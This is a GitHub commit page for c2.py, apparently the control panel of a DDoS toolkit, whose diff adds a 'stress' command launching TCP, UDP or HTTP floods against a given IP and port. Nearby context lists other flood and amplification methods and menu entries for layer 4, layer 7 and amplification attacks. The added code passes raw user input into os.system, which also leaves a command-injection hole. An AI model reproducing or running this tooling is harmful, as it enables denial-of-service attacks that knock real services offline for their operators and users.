Skip to content

Commit

Permalink
🚀UPDATE STRESS METHOD
Browse files Browse the repository at this point in the history
  • Loading branch information
hoaan1995 authored Apr 23, 2022
1 parent 8bf19a2 commit a036666
Showing 1 changed file with 19 additions and 0 deletions.
19 changes: 19 additions & 0 deletions c2.py
Original file line number Diff line number Diff line change
Expand Up @@ -354,6 +354,24 @@ def main():
print('Usage: tcp METHODS[GET/POST/HEAD] <ip> <port> <time> <connections>')
print('Example: tcp GET 1.1.1.1 80 60 8500')

# SPECIAL METHODS

elif "stress" in cnc:
try:
ip = cnc.split()[1]
port = cnc.split()[2]
mode = cnc.split()[3]
conn = cnc.split()[4]
time = cnc.split()[5]
out = cnc.split()[6]
os.system(f'go run stress.go {ip} {port} {mode} {conn} {time} {out}')
except IndexError:
print('Usage: stress <ip> <port> <mode> <connection> <seconds> <timeout>')
print('MODE: [1] TCP')
print(' [2] UDP')
print(' [3] HTTP')
print('Example: stress 1.1.1.1 80 3 1250 60 5')

# AMP/GAMES METHODS

elif "samp" in cnc:
Expand Down Expand Up @@ -681,6 +699,7 @@ def main():
LAYER7 ► SHOW LAYER7 METHODS
LAYER4 ► SHOW LAYER4 METHODS
AMP ► SHOW AMP METHODS
SPECIAL ► SHOW SPECIAL METHODS
BANNERS ► SHOW BANNERS
RULES ► RULES PANEL
PORTS ► SHOW ALL PORTS
Expand Down

0 comments on commit a036666

Please sign in to comment.